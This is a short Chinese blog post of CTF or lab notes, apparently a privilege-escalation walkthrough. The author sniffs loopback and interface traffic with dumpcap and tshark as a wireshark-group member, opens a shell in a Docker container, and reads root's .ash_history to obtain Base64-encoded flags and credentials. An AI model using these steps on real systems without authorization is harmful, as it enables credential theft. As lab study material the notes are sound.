在alex目录下发现一个wireshark目录,而且alex也属于这个组

dumpcap -w test.pcap -i lo 用于捕获网络流量的命令行工具,是 Wireshark 套件的一部分

tgshark -i ens33 -w test.pcpa tshark,它是wireshark的终端版本。

当利用tgshaek捕获数据包的时候,可以看它捕获多少数据和文件来看有无捕获成功

可以用上面的筛选框筛选需要的协议的数据包

docker

ip add | grep docker

ip add:该命令用于显示系统上网络接口的信息。

sudo docker ps 列出机器上运行的 docker 进程

sudo docker exec -it 41326f523808 /bin/bash 先试试ftp的

  • sudo:这用于以提升的权限运行 Docker 命令。

  • docker exec:这是在正在运行的 Docker 容器中执行命令的命令。

  • -it:这些选项用于分配伪 TTY(终端)并保持 STDIN 打开,允许您与容器交互。代表-i“交互式”,代表-t“终端”。

  • 41326f523808:这是要在其中执行命令的 Docker 容器的 ID。容器 ID 对于每个正在运行的容器来说都是唯一的。

  • /bin/bash``bash:这是您要在 Docker 容器内执行的命令 ( )。它在指定容器内启动交互式 Bash shell。

    cd /root ls -liah cat .ash_history读取它并获取以 Base64 编码的标志和凭据。

squid3.1.19

加个代理就可以了

  • 25
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值